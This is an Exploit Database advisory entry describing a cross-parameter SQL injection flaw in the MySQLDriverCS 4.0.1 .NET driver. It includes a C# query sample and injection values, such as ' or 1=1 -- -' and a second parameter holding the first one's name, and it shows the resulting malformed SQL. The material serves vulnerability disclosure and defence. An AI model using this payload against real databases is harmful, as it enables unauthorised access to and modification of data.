MySQLDriverCS 4.0.1 – SQL Injection

• Exploit Database
• 108 阅读

• 作者： Qihan Luo
  日期： 2011-06-27
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/35892/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

  source: https://www.securityfocus.com/bid/48466/info   MySQLDriverCS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.   A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.   MySQLDriverCS 4.0.1 is vulnerable; other versions may also be affected.   There is an example for illustrating the attack against the vulnerability: ---------------------------------------------------------------------- DataTable dt = new DataTable(); MySQLConnection conn = new MySQLConnection(CONN_STRING); MySQLDataAdapter Cmd = new MySQLDataAdapter(); string sCmdText = "SELECT * FROM filelist where FILENAME=@sFileName AND LANGUAGE=@sLanguage"; Cmd.SelectCommand = new MySQLCommand(sCmdText, conn); Cmd.SelectCommand.Connection.Open(); Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sFileName", SqlDbType.VarChar)); Cmd.SelectCommand.Parameters["@sFileName"].Value = sFileName; Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sLanguage", SqlDbType.VarChar)); Cmd.SelectCommand.Parameters["@sLanguage"].Value = sLanguage; Cmd.Fill(dt); Cmd.SelectCommand.Connection.Close(); ----------------------------------------------------------------------   Assigning (one parameter is assigned with SQL injection attack vector, while another one is assigned with a string which contains the parameter name of the first.): ---------------------------------------------------------------------- @sFileName: " or 1=1 -- -" @sLanguage: "cn@sFileName" ----------------------------------------------------------------------   Then, the final sql query statement executed by Mysql is as following: ---------------------------------------------------------------------- SELECT * FROM filelist where FILENAME=' or 1=1 -- -' AND LANGUAGE='cn' or 1=1 -- -'' ---------------------------------------------------------------------- Of course, we should use two parameters to launch a cross-parameter SQL injection attack.